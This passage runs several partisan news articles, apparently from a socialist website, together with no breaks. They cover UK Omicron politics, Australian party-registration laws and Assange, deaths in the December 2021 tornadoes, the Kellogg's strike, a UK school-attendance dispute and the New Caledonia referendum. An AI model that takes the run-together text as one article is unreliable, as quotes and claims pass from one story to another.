Omicron] in terms of degree of hospitalisations ... starting I would think in the next week to two weeks. That is a concern because the NHS is already beyond full stretch even before winter has arrived properly. Professor Stephen Reicher warned that there were in fact only two ways to slow infections downasking people not to socialise or imposing a lockdown. As for the severity of Omicron, other scientists and officials testified that the current best estimate is that Omicron is only 29 percent less severe than previous variants, with the reinfection rate three to eight times higher than Delta. Dr Paul Burton, chief medical officer at Moderna, told the Commons Science and Technology Committee, I do not think Omicron is a milder, less severe version of the current virus. Moreover, The idea it will push Delta out of the way and take over may occur in the future, but I think in the coming months these two viruses are going to co-exist, and Omicron, which I would maintain is actually a severe disease, will now infect people on a background of very, very strong Delta pressure. It will also lead to a situation where individuals will become co-infected which gives the opportunity for this virus to further evolve and mutate which is a concerning and worrying situation. In South Africa, about 15 percent of people who are hospitalised are in the intensive care unit, about the same as during the Delta surge in August, he said. Javid made the case for largely ineffectual measures, while stressing to his opponents how limited and temporary they are. The government was not introducing vaccine passports and anyone who opposes vaccination need only prove they have had a negative lateral flow test, despite these being notoriously inaccurate. I would not support a vaccine-only option, he promised. Mandatory vaccination for frontline NHS staff would not be extended to other professions. He also announced that the travel Red List mandating hotel quarantine for arrivals from 11 countries is ending. This did not stop the Tory hard-right from posing as champions of freedom to denounce all anti-COVID restrictions as an affront to personal liberty and the market. Steve Brine complained that many of his constituents had objected to the frightening nature of Johnsons TV broadcast Sunday night, warning that a tidal wave of Omicron is coming, when what was needed was a plan to live with COVID. Andrew Bridgen declared that the most dangerous epidemic facing the world today was the epidemic of fear. Andrea Leadsom insisted that COVID will be with us for many years to come. The majority of the Labour Party went further than ever in its policy of constructive criticism, with Shadow Health Secretary Wes Streeting unreservedly supporting the minimal Tory measures. He stressed that Labours support for COVID passes in some social venues was because it supports business, while backing Johnson for not making the system more rigorous. Labours left, led by former party leader Jeremy Corbyn sitting as an Independent, was worse still. He led eight Labour MPs in backing the Tory hard-right opposition, along with the sole Green MP, Caroline Lucas, by proclaiming mandatory NHS vaccination and a necessity to prove vaccination status an attack on civil liberties, rather than an elementary public health measure during a raging pandemic. He wrote in typical fashion on Twitter that both measures would create division when we need cooperation and unity. Such moves were totally wrong, he told parliament, oblivious to the findings of health care professionals and the severe risk being imposed on the NHS staff he claims to care about by an escalating pandemic. The surreal character of the debate was underscored by the slew of MPs who could not vote because they were self-isolating. They included Labours Shadow Chancellor Rachel Reeves, Shadow Education Secretary Bridget Phillipson, Shadow Environment Secretary Jim McMahon, and Shadow Minister for Domestic Violence Jess Phillips. Liberal Democrat leader Ed Davey was also isolating. Johnsons measures will do little or nothing to prevent the medical and social disaster now unfolding. And Labours MPs, both right and nominally left, have once again proved they offer no alternative. Corbyn and his ilk, along with the trade unions, are reaching out to the vaccine sceptics as an excuse for not waging a principled struggle against the entire mercenary agenda of big business pursued by Johnson and Starmer. He speaks of convincing rather than compulsion, while saying and doing nothing, even as the trade unions allow their members to be forced into unsafe workplaces and children into schools that are breeding grounds for COVID. The Socialist Equality Party urges workers to intervene independently to protect their health, safety and lives. We advocate the formation of rank-and-file committees in every workplace and neighbourhood to organise a fightback against the Johnson governments herd immunity policies. These committees must take up the fight against big business and its parties for a strategy to eliminate the threat of COVID once and for all. Every means necessary must be deployed, including a scientifically guided test, trace and isolate system, backed by full sick-pay for all workers ill and self-isolating; the closure of unsafe workplaces; installation of air filtration systems in all public buildings; and the closure of non-essential workplaces and all schools until the pandemic is suppressed. Such necessary social protections must be paid for in full by the corporations and the super-rich. As the Socialist Equality Party (SEP) has announced, it has extended its campaign to defeat anti-democratic electoral laws, rushed through Australias parliament on August 26. With the complete support of the Labor Party, the Liberal-National Coalition government passed laws that seek to stifle the mounting political opposition to the major parties. SEP electoral members, new and longstanding, are continuing to speak out against the laws, which required the SEP and 35 other parties without members of parliament, to submit a list of 1,500 memberstreble the previous numberby December 2 to remain registered. If parties failed to meet this demand, under conditions in which the greatest pandemic in 100 years makes physical campaigning very unsafe, parties would lose the basic democratic right to stand federal election candidates with their party name on ballot papers. The SEP has not met that arbitrary deadline, but our campaign has won significant numbers of new electoral members of the party, and that is a crucial achievement. Our electoral members have not just signed an online form. They have consciously supported the SEPs fight for a socialist program, in opposition to Labor, the unions and the Greens. SEP rally during 2019 federal election demanding freedom for Julian Assange [WSWS Media] Electoral members are continuing to call for support from all workers and young people for the fight against these laws. In the comments below two members speak on the link between the laws, the homicidal COVID-19 policy and last weeks British High Court ruling to extradite WikiLeaks founder Julian Assange to the United States for exposing US and allied war crimes and mass surveillance. To join the SEPs campaign against the legislation, sign up as an electoral member today. **** Ruby, 65, is a 34-year supporter of the SEP and a longstanding electoral member. She denounced the extradition ruling on Assange. December 10 is another day that will live in infamy. Human Rights Day, they say, from the great declaration of human rights adopted by the United Nations in 1948. With only a few hours notice to Assanges legal team, the assassination plot against Assange was taken to another level. On December 10, 2021, British justice declared that the torture and continuing attempted murder of a journalist and publisher by the state is okay. With that brutal declaration, Julian Assange will remain indefinitely in the dungeon that the great democracies have thrown him in. They seek to silence him and anyone else who dares expose the crimes of the powerful. At the same time, the Group of Seven or G7, those great democracies, also met in the UK to declare their preparedness to start a war with a nuclear-armed powerwith Russia; or together with Australia, with China, or both. Ruby explained the connection between the persecution of Assange, COVID and the bipartisan party deregistration laws. With journalists and whistleblowers locked up, or murdered, and the rest of us locked down and distracted with COVID, the parliament of Australia united to pass multiple pieces of legislation to further erode democratic rights, including these electoral laws. Central to democracy is the right to vote. This includes the right to be informed about what is being done in your name, and the ability to see when you are being lied to by those in power. The one thing that WikiLeaks, and now COVID-19, has made very clear is: you cannot believe anything from the governments, big business or the press. Elections and every other democratic right have been under direct and increasing assault. By its very nature, democracy must be grounded in social equality. True democracy places life and health above the drive for profitsthat also is socialism. That is why today it is only the socialists who are defending democratic rights. Even though voting will not bring in the changes necessary to stop the climate catastrophe, we must defend democratic rights. Coal, oil and gas continue to be dug up. Operations are expanded with the enthusiastic or silent support of every politician, destroying the ability of this planet to support life and blasting the ancient artefacts of the local peoplethat is, destroying all our human history, heritage and future. Voting also will not bring in the changes necessary to eliminate COVID-19. Every political party or tendency or commentator, except for those on the WSWS, adopt the inevitable epidemic now, so nothing to do about it position. Ruby concluded: The anti-democratic actions of the Australian parliament, with the silent complicity of the press, show that all the parties who have members in parliament are trying to draw up the drawbridge to make sure nothing progressive can ever happen by government action. The election cycle creates a period of time when we are all engaged in political discussions about what the government is doing, and what we want it to be doing differently. A crucial aspect of this process is more information about those running for office, not less. These rotten anti-democratic laws aim to keep us in the dark and preserve the status quo; it is the same reason Julian Assange is kept silent and in isolation. This is why I support the Socialist Equality Party. It is the only party defending democratic rights. Michel, 73, worked for more than 50 years in software development. He became an SEP electoral member this year, after being disgusted with the anti-democratic laws and increased membership numbers required for registration. He explained: I have been reading the World Socialist Web Site daily for many years. I was on the internet before the world wide web started and I had some contacts with Julian Assange, via the internet, before he started WikiLeaks. I have been absolutely shocked at the treatment that Julian has received from the US, UK and, worse, the total lack of support that the Australian government, both right and left, has given to one of its citizens. That is, a citizen who must be one of, if not the most significant journalist of this century. Likewise, Michel said: I found it unbelievable that Australian politicians, so keen on imploring democracy, would make the decision to increase the party membership requirements by such a large amount. The main parties are afraid of displaying their loss of support. They simply want to hold onto power. The current government is sliding to the right, as is the Labor Party, which can hardly be called even centrist nowadays. This is a global phenomenon. The centre of politics is being vacated. There are movements worldwide to both ends of the political spectrum. There is a shift to the extreme right, as it is orchestrated by a media at the mercy of, and with shared interests to, capitalism. I was also amazed that Premier Daniel Andrews Victorian state Labor government gave up its stance against the elimination of COVID. Politicians on both sides of the spectrum only mention freedom as related to their policies. They fail to mention the cost of freedom reflected in the number of deaths due to COVID that are still happening and will continue every day. Their interests are squarely on the side of capital. Amazon wont let us leave - The final text message sent by Larry Virden to his partner of 13 years, Cherie Jones, before he and five of his coworkers were killed Friday night when a tornado destroyed Amazons fulfillment center in Edwardsville, Illinois The outbreak of tornadoes which ripped through the central United States Friday night into Saturday morning, leaving a path of death and destruction which stretches from Arkansas through Kentucky, has exposed the reality of brutal sweatshop conditions in the heart of America and the naked indifference of the ruling elite to workers' lives. The deadliest December tornado outbreak in US history has killed at least 88 people, including children, with many more still missing. The death toll is expected to rise beyond 100 as recovery workers sift through the hundreds of miles of rubble and the critically injured succumb to their wounds. Homes were blown away like little more than pieces of paper as families desperately sheltered in their bathrooms and factories crumpled with workers still inside. Left: Amazon CEO Jeff Bezos arrives at the Baby2Baby Gala at the Pacific Design Center on Saturday, November 13, 2021, in West Hollywood, California. (Photo by Jordan Strauss/Invision/AP); Right: Amazon fulfillment center struck by a tornado, seen Saturday, December 11, 2021, in Edwardsville, Illinois. (AP Photo/Jeff Roberson) In scenes reminiscent of the Triangle Shirtwaist Factory fire disaster more than a century agoin which 146 garment workers in New York City were killed because exit doors were lockedworkers report that they were trapped in their factories by management as the storms bore down on them. Hours of advanced storm warnings were dismissed by plant managers at the Amazon fulfillment center in Edwardsville, Illinois and the Mayfield Consumer Products candle factory in Mayfield, Kentucky so they could keep holiday production running full bore with Christmas just two weeks away. Production could not be halted for a single shift to ensure everyones safety, lest it cut into the corporate bottom line. Workers at the Mayfield plant report that management had threatened to fire anyone who left to seek shelter after multiple tornado warnings were issued for the area. Even with weather like this, youre still going to fire me? 20-year-old worker Evan Johnson asked a manager. Their response, Yes. According to Johnson, a roll call was taken to determine if anyone had left. Forklift operator Mark Saxton, 37, confirmed to NBC News that workers were not given the option to go home but sent back to the line after the first tornado warning. Thats the thing. We should have been able to leave, Saxton explained. The first warning came, and they just had us go in the hallway. After the warning, they had us go back to work. They never offered us to go home. When the tornado hit, it leveled the Kentucky candle factory, trapping dozens of workers under the rubble and leaving eight dead. Workers were slaving away for as little as $8 an hour on 10-12 hour shifts with mandatory overtime. There were also work release prisoners working in the factory under the guard of a deputy who was killed in the collapse. For its part, Amazon refused to cancel the shift in Edwardsville. As the threat grew more dire, management tried to hustle workers into shelter areas in the interior of the building, but the building was too flimsy to withstand the storm and it collapsed around them, killing six. As news of the destruction of the Amazon facility in Illinois broke, workers from across the country took to an internal company message board to express their concerns about the lack of safety precautions. I have been here six-and-a-half years and have never once been involved in a tornado safety drill on my shift, as well as have not taken part in a fire safety drill in about two years, one employee wrote, according to The Intercept. This whole situation has got me thinking our site really needs to revise its safety drills because you never know when disaster and tragedy can strike. Amazon has pledged $1 million to the recovery effort in Edwardsville, equivalent to what founder and executive chairman Jeff Bezos adds to his net worth every 7 minutes. While his workers were being killed in a tornado, Bezos used his weekend to host a lavish party and launch his Blue Origin rocket into space. Bezos reportedly spent $5.5 billion on his space ship company. Tornadoes are not a rare or unpredictable phenomenon in the central and southern United States. Meteorologists can predict their formation and path with significant accuracy. In fact, the first tornado warning came from the National Weather Service early Thursday morning and local news stations in St. Louis, Missouri and Paducah, Kentucky were reporting on the possibility of storms as early as Wednesday. The damage which these storms routinely cause is not inevitable since with the proper material and techniques homes and factories can be built to withstand high winds and debris. Emergency shelters can be built to protect anyone caught in the path of these storms. However, in the pursuit of profit, these more expensive options are often ignored, and cheap housing, such as trailer homes, is allowed to be built in tornado-prone areas. What this latest disasterand the repeated deadly impact of tornadoesexposes is the complete indifference of the American ruling class to the lives of the working class. The homicidal attitude which they hold is that workers are expendable. If they die, they die; another worker can take their place and insurance will cover the rest. This homicidal indifference to life has been on full display with the policies pursued throughout the COVID-19 pandemic which have resulted in the deaths of more than 800,000 Americans and counting. Employers across the country have sought to cover up outbreaks and suppress information about workers killed. More than 3,600 health care workers were killed by the virus in the first year of the pandemic alone. Hundreds of teachers and school staff have fallen to the virus as schools have served as superspreader sites across the country. Amazon admitted in October 2020 that 20,000 of its employees had tested positive for COVID-19. The number who have died remains unknown as the company continues to conceal the numbers. The opposition to lockdowns pursued by President Trump has been continued under President Biden with his vaccines only strategy in the face of more infectious variants, resulting in more deaths in the second year of the pandemic than in the first. On average, nearly 1,300 Americans continue to die every day from COVID-19. Just like the victims of coronavirus, those killed in this weekends storms are the victims of social murder. While the aftermath of the Triangle Shirtwaist fire in 1911 sparked a movement for regulations to improve workplace safety, there will be nothing of the sort this time around. Amazon can expect a mere slap-on-the-wrist fine from health and safety regulators, something which executives at the trillion-dollar global corporation already factor in as a cost of doing business. Workers at Amazon and in every workplace across the country must form rank-and-file safety committees to hold management to account for their crimes and ensure safe working conditions, whether the threat comes from the weather or COVID-19. The wealth of billionaires like Bezos must be expropriated and large corporations like Amazon placed under the democratic control of the working class. If the lives of the working class are to take precedence over profit, the workers themselves must take charge of society and run the economy in accordance with human need. The pandemic presented us with a sampling event like none other and we saw increases in household penetration that outpaced most of our categories... This is how Kelloggs CEO Steve Cahillane summed up the companys performance during 2020, when widespread lockdowns drove demand for packaged foods as millions sheltered in their own homes. Net income for the breakfast cereal giant increased 30 percent to $1.25 billion, and revenue jumped slightly to $13.77 billion. This rosy description of the coronavirus pandemic, which has killed 800,000 in the US alone, is an example of the cold logic driving forward the companys attempts to smash the two-month strike by 1,400 cereal workers in the United States. It responded to their overwhelming rejection of a concessions contract brokered by the Bakery, Confectionery, Tobacco Workers and Grain Millers International Union (BCTGM)that would have eliminated restrictions on the hiring of lower-paid, second tier workersby declaring it would accelerate plans to fire and replace the strikers en masse. This autocratic move sparked outrage among workers around the country and the world. Kellogg World Headquarters, Battle Creek, Michigan, USA (source: Wikpedia) But this ruthless campaign is not the product of a company struggling for survival. Indeed, Kelloggs remains as highly profitable as it has been in its more than 110-year history, and it has expanded its operations significantly in recent years, driven by ruthless cost-cutting. Indeed, breakfast cereal is among the most profitable segments in the food processing industry, which Yahoo! in turn recently rated the 14th most profitable industry in the world. In 1995, when the International Committee initiated a campaign against Kelloggs global job-cutting campaign at the time, we noted that Kelloggs had already vastly increased its international scope. Of its global workforce of 15,000 at the time, 7,000 lived outside of the United States, and the company was expanding aggressively into emerging markets such as southeast Asia and the former Soviet Union. The company had made $705 million in net profits the year before, on worldwide sales of $6.6 billion. At the same time, the company controlled 42 percent of the global cereal market and was locked in a bitter struggle over market share with rival General Mills. Since then, both the companys revenue and profits have roughly doubled. Kelloggs earnings before interest and taxes (EBIT) were $1.6 billion, with an 11.6 percent profit margin. By comparison, Ford Motor Company reported of $1.63 billion on $115.8 billion in revenue, making the worlds fourth-largest auto manufacturer slightly more than one-tenth as profitable as Kelloggs. Dividends, meanwhile, have increased for decades, and now stand at $2.31 cents a share. At a share value of $63.37, this means Kelloggs dividend yield is 3.5 percent, more than twice the average of the S&P 500. Even though many other large companies suspended dividend payments last year to conserve cash during the pandemic, Kelloggs continued to dole out tens of millions of dollars to its shareholders. A globalized food company In spite of this, Kelloggs market share in breakfast cereals has continuously eroded since the 1990s. Its US market share declined from 36 percent in 1995 to 30 percent in 2017. This is one factor in the companys growing diversification into different segments of the prepared foods market. It has done this through a series of high-profile mergers and acquisitions that will continue to play a critical role in the companys current Deploy for Growth strategy, which targets accelerated growth rates of between 1 and 3 percent. Map of Kellogg's international factories (source: Kellogg's) These mergers have expanded Kelloggs from a cereal maker primarily centered around on the US market to a multinational producing a wide variety of packaged foods for different markets across the world. The most high profile of these acquisitions was arguably its $2.7 billion purchase of potato chip brand Pringles in 2012 from Proctor & Gamble. Most of its recent acquisitions, however, have focused on international brands and joint ventures. These include: A joint venture announced in 2012 with Singapore-based Wilmar International focused on the growing Chinese snack market; Another joint ventured in 2015 with Tolaram Africa focused on West Africa. Kelloggs later invested another $420 million into the venture; The purchase of majority stakes in Egyptian food companies Bisco Misr and Mass Food Group, also in 2015; A 2016 acquisition of a controlling stake in Brazilian food company Parati for $429 million As a result of these moves, breakfast cereals occupy a substantially smaller portion of the companys sales than it did less than 20 years ago. According to a 2018 slide show for investors, the proportion of cereal as a total of net sales declined from roughly two-thirds in 2005 to less than half in 2017, while snacks, a category that includes products such as Cheezits, Pringles, Town House crackers and Nutri-grain bars, doubled to 52 percent. The volume of products sold in the United States as a share of worldwide also declined in this period. The companys workforce has also doubled since 1995 to approximately 30,000 today. Currently, it operates 52 plants worldwide, half of which are located outside of North America. These include three plants in Russia, three in South America, three in Africa and two in India. Slightly less than half, or 25 of these plants, actually produce cereal, with others producing frozen foods and pre-packaged snacks. Only five of the companys 26 factories in the US and Canada, four of which are involved in the current strike, produce cereal (the fifth, a new plant located in Belleville, Canada, is not a party to the same labor contract as the US plants). The 1,400 workers on strike in the four US cereal plants comprise less than five percent of Kelloggs the global workforce. This is, in part, the product of relentless job-cutting campaigns, such as the one in 1995 that eliminated 1,075 jobs worldwide. The cuts have reduced the workforce of these plants to a fraction of what they were a generation ago. The companys flagship plant in Battle Creek, Michigan currently employs only 410 workers, less than a quarter of the 1,700 people who worked there in 1995. Kellogg's plant in Queretaro, Mexico (source: Kellogg's) Kelloggs global workforce has been subjected to repeated job cuts. The most recent of these, Project K which was completed just before the pandemic in 2019, eliminated 7 percent of the global workforce, resulting in an estimated cost savings of $700 million per year, according to the company. At the same time, Kelloggs has demanded repeated concessions from workers wages and benefits, supposedly in the name of saving jobs. Before and during the 2015 contract talks, it locked out workers at the Memphis plant and threatened to close an unnamed US plant if workers did not accept the establishment of a new second tier of lower-paid transitional workers. The BCTGM obliged, pushing the contract through, but its repeated acceptance of concessions has not saved a single job. In part to deflect attention from this record, the BCTGM is promoting a ferocious anti-Mexican campaign, calling on Kelloggs and other companies to cease production in Mexico and blaming foreign workers for the loss of jobs and wages in the United States. This racist agitation has been taken up by the far-right news outlet Breitbart, which is a key media promoter of Trumps ongoing attempts to build a fascist, extra-constitutional movement. In fact, Trumps nationalist America First tirades, directed against Mexico in particular, had been the stock in trade of the American unions for decades before Trump emerged as a major political figure in the Republican Party. In reality, Kelloggs presence in Mexico goes back decades, and it was the first non-English speaking market that the company expanded into. The Kelloggs plant in Queretaro, Mexico was built in 1951, making it decades older than the US plant in Lancaster, Pennsylvania. While the company has, almost from the start, conducted business on a multinational scale, the international expansion of Kelloggs and the global integration of capitalist production over the past four decades has rendered the national-based strategy of the BCTGM, and indeed the trade unions as a whole, hopelessly obsolete. It serves only to isolate the striking workers in the United States from their most powerful allies in Kelloggs global workforce and the international working class as a whole, all of whom would be outraged to learn of the companys strikebreaking efforts. Indeed, Kelloggs is attempting to weather the strike by utilizing its international supply chains to compensate for lost production in the United States. Kellogg's facility in Lagos, Nigeria (source: user on Nairaland messageboard) But the international dimensions of Kelloggs operations are a source of strength for workers, not weakness. Kelloggs, like any other major international company, is extremely vulnerable to disruptions in its global supply chains and a global campaign among Kelloggs workers to unite with workers in the US would have a powerful impact. Workers in Mexico have repeatedly demonstrated their determination to oppose their exploitation. In January 2019, auto parts and electronics workers in Matamoros, just across the border from Brownsville, Texas revolted against the poverty wages and sweatshop conditions at the US and other foreign-owned maquiladoras. They staged a series of wildcat strikes in defiance of the company-controlled unions and marched to the border where they appealed to their class brothers and sisters in the US to join them. In the summer and fall of 2019, workers at the General Motors factory in Silao, Mexico refused to work overtime during the strike by 45,000 GM workers in the US. For their courageous act of class solidarity, GM fired and blacklisted the leaders of the struggle. In response, rank-and-file workers in the US called for their reinstatement and donated money to support the victimized Mexican workers. The American media, the BCTGM, the United Auto Workers and other US unions blacked out any information about these struggles in order to keep perpetuating the poisonous lie that Mexican and American workers are enemies. Among striking Kelloggs workers in the US there is enormous sympathy for their coworkers in Mexico and the developing world, whom they regard as a super-exploited third tier of workers. Kelloggs has an international strategy to pit workers against each other in a race to the bottom. To defeat this, workers need their own international strategy. That means rejecting the divide-and-conquer nationalism promoted by the BCTGM and reaching out to their class brothers and sisters around the world to defend the jobs, living standards and working conditions of all workers. This requires taking the conduct of the strike out of the hands of the pro-company union by establishing a rank-and-file strike committee, independent of the BCTGM, to establish lines of communication and joint action by workers across Kelloggs global empire. The World Socialist Web Site spoke with SafeEdForAll (Safe Education for All) campaigner Lisa Diaz yesterday about the ongoing threats against her family by the Johnson government and Labour-controlled Wigan Council. Diaz is being targeted for keeping her children out of school and fighting for COVID safety measures. Lisa has yet to receive any further communication from Woodfield Primary or Wigan Council since they threatened her with fines, criminal prosecution and action through the Family Court, but she explained, their arguments are crumbling continuously. Lisa said, Ofsted [the schools inspector] have been told not to do any more inspections in schools as of yesterday because its too dangerous. If you ever needed an example of one rule for them and another for us. How is it okay that the workers, the teachers, the canteen staff, the cleaners, everybody who works in the school go in, but government inspectors stay at home? Lisa Diaz and her daughter (Credit: Lisa Diaz @Sandyboots2020) How are they going to take me to court when Boris Johnson says, Im following the science, everybody work from home who can, except children, you go in to catch the virus. It doesnt make any sense whatsoever unless the plan is to mass infect children. Referring to a recent South African study of 211,000 positive COVID-19 test results, early data from which suggests children are 20 percent more likely to be hospitalised by Omicron than by Delta, Lisa said, It pushes the need even more for us to eliminate the virus. You get a vaccine and you think, okay, this works, to this extent, but then the virus will keep adapting and you cant just keep chasing after it with vaccines. Lisa condemned press headlines opposing school closures and lockdowns on the grounds of protecting children from domestic abuse as sick and blatant manipulation and propaganda. What have they done to campaign against cuts to social services, what have they done about childrens mental health and the cuts to CAMHS [Child and Adolescent Mental Health Services]? Everything is stripped to the bone. And their interests are nothing to do with children being abused at home. Their interests are to do with business and perpetuating the lie that everything can continue as normal. Its all about protecting the corporate elite, its nothing to do with whats in the best interests of children. This point was supported by fellow SafeEdForAll member, and co-founder of the group, Sarah Saul, who said, those people who are using the plight of vulnerable, abused, neglected children, weaponising them, basically, in their arguments for keeping schools open, without equally asking for schools to be made safe, are very disingenuous. Its 33 years since I got out of my abusive childhood situation, so I totally understand the importance of school to children, school was my respite, the place where I was safe. If you then send me into a school where I am likely to be infected, youre taking away my respite and my safe space. And thats why I get so angry at people who obviously have no knowledge of what is happening with abused, vulnerable and neglected children, and yet theyre happy to use them as part of their argument. Lisa continued, If children are under threat at home, the solution isnt to throw them into a COVID petri dish and put them in another dangerous situation. The solution is to make schools safe by driving down infection rates to eliminate the virus, like they have done successfully in other countries, and then open them up again with tight mitigations. Lisa and Sarah both referred to a filthy propaganda piece in last weekends Sunday Express whose banner headline screamed, Tragic legacy for children: School closures cost pupils lives. Its subheading read, Lockdown abuse may have killed 223 children. The article channelled the media feeding frenzy over the terrible murder of Arthur Labinjo-Hughes. The newspapers health editor Lucy Johnston misrepresented and distorted every fact. Yet her own article acknowledged that 191 of the serious incidents recorded by social services related to babies under one year old, who were not affected by COVID-related school closures. As for the over 200 killed by lockdown abuse, the total figure of 223 is an increase of 35 on the non-lockdown year 2019/20. The piece is a prime example of the whipping up of emotive issues around children to push a reactionary agenda which has nothing to do with their wellbeing. Johnston is not writing out of concern for the impact of lockdowns on children. She is spreading lies to keep parents in work by keeping children in school and exposed to COVID-19. The Expresss gutter journalism is only the most shameless expression of a campaign which extends from Tory-right front organisations like the ubiquitously cited parents group UsForThem to the wider Tory party, the Liberal Democrats, the Labour Party and the Scottish National Party (SNP). Downing Street insisted on Monday, There are certainly no plans to put in any restriction on schooling. Prime Minister Boris Johnsons spokesperson added that this would only be done in the case of an absolute public health emergency, without trying to explain how the current situation isnt exactly that. After Education Secretary Nadhim Zahawi and Health Secretary Sajid Javid were forced to acknowledge that they could not guarantee absolutely all schools would remain open this winter, the Liberal Democrats education spokesperson Munira Wilson leapt into the breach. She responded, This failure to provide a cast-iron guarantee just about says it all about this government and their priorities. Time and time again, our children have been badly let down by the governments inability to get on top of COVID. The idea that failing to keep schools open this winter, in conditions of an out-of-control pandemic, is to let down children is a gross perversion of reality. Keeping schools, and all of society, functioning regularly and safely means adopting an elimination strategy. Reaching that stage from such a high level of virus circulation urgently requires stringent measures, including the temporary closures of schools. But this is what Wilson is really trying to prevent. Labour pursues the same policy. Shadow Education Secretary Bridget Phillipson sent an open letter to Zahawi last Friday perpetuating the lie that the worst danger to children in the pandemic is lost school time. She wrote, Our children have borne the brunt of the pandemic with school closures and repeated isolations seeing opportunities lost, learning falling behind and mental health conditions rising. One would hardly know that over 12,000 children have been hospitalised with COVID in the UK, over 100 killed, and over 77,000 inflicted with Long COVID, 14,000 for more than a year, or that countless more have lost family members, including primary care givers. All of which says nothing of the wider impact of the virus to which its circulation among children contributes. Phillipsons response is to call for the government to take urgent action to drive up vaccination rates among 1215-year-olds and deliver proper ventilation in schools. This is advice offered to the Johnson government about how best to package its strategy, agreed with by Labour, of keeping schools and the economy open while the new variant runs rampant, currently at over 200,000 infections a day. Stephen Morgan, shadow schools minister, underscored Labours support for the government yesterday, calling on ministers to deliver a Christmas vaccine guarantee to ensure all 12- to 15-year-olds can get a jab during the holidays to keep kids learning next term. He added, This must be delivered alongside practical ventilation measures in all schools, so teachers are not forced to open windows this winter. In Scotland, SNP leader Nicola Sturgeon promised last week to bust a gut to keep schools open. Her deputy, John Swinney, repeated that schools would be the last thing we close, refusing calls for an early end to term before Christmas, again citing interruption to education. Huge numbers of children, educators, their families and communities are suffering the consequences of this right-wing agenda. Omicron cases are being reported at school after school, leading to an increasing number of full or partial closures. According to Department for Education figures released yesterday, the number of children absent due to COVID on December 9 increased 13.5 percent over two weeks to 236,000. Other data, released by Ofsted, showed a record number of early years and childhood settings were dealing with a known COVID infection at the end of last month2,707, compared to a previous high of 2,400 in February. The NASWUT teaching union reported that, in some schools, up to half the teaching workforce are off for COVID-related reasons. The scale of the crisis has forced the education unions to make some calls for minimal action to save face, including face masks in secondary school classrooms, staggered breaktimes, and improved ventilation, vaccination for school workers, contact tracing and isolation. In the face of the current situation admitted by Association of School and College Leaders (ASCL) leader Geoff Bartonhigh numbers of students absent from classrooms are being compounded by significant numbers of teachers who are also at home illthese measures, in any case dependent on the good will of the Johnson government, are entirely inadequate. Schools must be closed, with all necessary support provided to children and families, as part of a broader strategy to eliminate the virus, allowing them to be reopened safely with the required protections in place to prevent future outbreaks. This programme is fought for by the Educators Rank-and-File Safety Committee (UK) . The third and final referendum to decide the future of the French Pacific territory of New Caledonia was held on Sunday. Voters overwhelmingly rejected independence from France with the referendum boycotted by pro-independence Kanaks because of the COVID-19 pandemic. The results saw 96.49 percent vote against and just 3.51 percent in favour, with a low 43.9 percent turnout. In predominantly Kanak areas nearly everyone refused to participate. The turnout in the Belep Islands was 0.6 percent, while on Lifou some voting stations had not a single voter. In Canala and Hienghene on the main island of Grande Terre, less than 2 percent cast a vote. An Independence supporter holds the Kanak flag outside a voting station in the Riviere Salee district of Noumea, New Caledonia, Sunday, October 4, 2020. (AP Photo/Mathurin Derel) The plebiscite will be deemed illegitimate by most indigenous Kanaks, who comprise 40 percent of the territorys 270,000 population. Before the vote, the pro-independence parties declared they would not recognise the result, and ruled out negotiations on any future status before the French presidential election next April. They also declined to meet the French overseas minister Sebastien Lecornu for post-referendum discussions. The referendum was the culmination of a three decades-long process under the Matignon Accord (1988) and Noumea Accord (1998), which brought an end to a near civil-war during which French elite troops put down a Kanak insurrection. New Caledonia has been on the United Nations so-called decolonisation list since 1986, but full independence has always been resisted by Paris. Under the two accords, promoted as a compromise between the independence movement, led by Jean-Marie Tjibaou of the FLNKS (Front de Liberation Nationale Kanak et Socialiste), and anti-independence leader Jacques Lafleur, three referenda on independence were provided for. In 2020, just over 53 percent voted to remain as part of France, down from 56 percent in 2018, indicating growing support for independence. With a high turnout at 85 percent of the 180,000 voters enrolled, there were just 10,000 votes between the two camps in 2020. French President Emmanuel Macron welcomed Sundays result, saying France is more beautiful because New Caledonia remains part of it. He said with the end of the Noumea Accord, the territory is free of the binary choice between yes and no. In reality, the formal decolonisation mechanism has ended with the colonised people effectively rejecting the legitimacy of the process. The final referendum was not actually required until October 2022. In 2019, the French government and New Caledonias political parties agreed that the referendum should not take place in close proximity to the French presidential elections. In June 2021, however, Paris broke the agreement and unilaterally fixed the December date. With campaigning due to start, the Delta variant of COVID-19 hit the country in early September. The virus rapidly spread; more than 10,000 people caught the virus and 270 people, mainly Kanaks, died. With the majority of Kanaks in traditional mourning for 12 months, declared by the Kanak Customary Senate, the FLNKS and its allies called for the referendum to be deferred until next year. The FLNKS argued that with COVID-19 health restrictions, it was impossible to create the democratic conditions for a fair election campaign. The Melanesian Spearhead Group, which includes the states of Fiji, Papua New Guinea, Solomon Islands and Vanuatu, also supported a postponement. The pro-independence movement called for a boycott. Favouring a negative vote to maintain the French status quo, however, Paris refused to budge. Lecornu bluntly asserted that in democracies votes are held on time and only an out-of-control pandemic could make a date change possible. The local anti-independence parties and the French establishment opposed a deferment, saying New Caledonia needed clarity. The Macron government mounted an unprecedented military-police operation, despatching a 2,000-strong security force to the colony supported by vehicles, armoured personnel carriers, helicopters and a transport aircraft. General Christophe Marietti, overseeing the operation, declared the deployment would be reassuring, dissuasive and reactive. Writing in the Guardian on December 2, New Zealand historian Adrian Muckle with Rowena Dickins Morrison and Benoit Trepied described the French governments decision to proceed with the referendum as a reckless political gambit with potentially dire consequences. France was effectively undermining the promises of the decolonisation process of the last 30 years and risking a return to violence. The authors noted that a key factor behind the push for the referendum to be run early was Macrons electoral calculus in the lead up to the French presidential elections. Macrons primary opponents are likely to be from Frances far right, which is overwhelmingly in favour of keeping hold of New Caledonia. The only French support for a postponement came from presidential candidate Jean-Luc Melenchon who said going ahead would threaten the territorys equilibrium. Further entrenching Frances intransigence is the recently changed strategic position in the Indo-Pacific following the announcement of the AUKUS (Australia, UK and US) alliance and Australias withdrawal from its submarine deal with France. Paris will not countenance any diminution of its position as a Pacific power. New Caledonia is home to a major French military base and holds nearly a quarter of the worlds reserves of nickel, a strategic mineral. The referendum, however, will do nothing to resolve the impasse. Among those who are exposed by yet another betrayal is the relatively privileged layer of Kanaks, represented by the FLNKS, seeking a larger slice of the economic pie and a greater political say. The two accords effectively defused the independence movement. Money was poured into building a Kanak infrastructure, training public servants and establishing a base for this layer in the lucrative mining industry. The FLNKS socialistic phrase-mongering was eschewed in return for political and business opportunities. The increasingly moribund nationalist movement has entered into arrangements within the political elite to suppress growing anger among the working class. New Caledonia now has its first pro-independence 